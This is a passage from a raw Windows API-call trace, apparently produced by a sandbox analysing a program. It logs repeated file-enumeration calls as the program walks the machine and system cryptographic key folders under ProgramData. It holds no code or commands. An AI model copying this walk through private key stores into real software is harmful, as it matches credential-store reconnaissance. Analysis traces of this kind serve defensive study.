cFileName="..", cAlternateFileName="")) returned 1 [0271.135] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.135] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0271.135] GetProcessHeap () returned 0xc10000 [0271.135] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.135] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0271.135] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0271.135] GetProcessHeap () returned 0xc10000 [0271.135] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.136] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0271.136] GetProcessHeap () returned 0xc10000 [0271.136] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0271.137] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.137] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.137] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0271.138] GetProcessHeap () returned 0xc10000 [0271.138] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.138] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0271.138] GetProcessHeap () returned 0xc10000 [0271.138] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0271.139] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.139] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0271.139] GetProcessHeap () returned 0xc10000 [0271.139] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x10, ftLastWriteTime.dwLowDateTime=0x2, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="咊8Â跐Ë|")) returned 0xffffffff [0271.139] GetProcessHeap () returned 0xc10000 [0271.139] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.140] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0271.140] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0271.140] GetProcessHeap () returned 0xc10000 [0271.140] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.140] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0271.140] GetProcessHeap () returned 0xc10000 [0271.140] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0271.140] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.140] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0271.141] GetProcessHeap () returned 0xc10000 [0271.141] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0271.142] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.142] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1 [0271.142] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 0 [0271.142] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0271.142] GetProcessHeap () returned 0xc10000 [0271.142] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.142] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0271.142] GetProcessHeap () returned 0xc10000 [0271.142] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0271.143] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.143] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1 [0271.143] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 0 [0271.143] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0271.143] GetProcessHeap () returned 0xc10000 [0271.143] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.143] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0271.143] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0271.143] GetProcessHeap () returned 0xc10000 [0271.143] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.143] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0271.143] GetProcessHeap () returned 0xc10000 [0271.143] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0271.146] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.146] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1 [0271.146] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1 [0271.146] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 0 [0271.146] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0271.147] GetProcessHeap () returned 0xc10000 [0271.147] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.147] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0271.147] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0271.147] GetProcessHeap () returned 0xc10000 [0271.147] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0271.148] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0271.149] GetProcessHeap () returned 0xc10000 [0271.149] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0271.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DataMart\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0271.150] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.150] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0271.150] GetProcessHeap () returned 0xc10000 [0271.150] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0271.151] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, 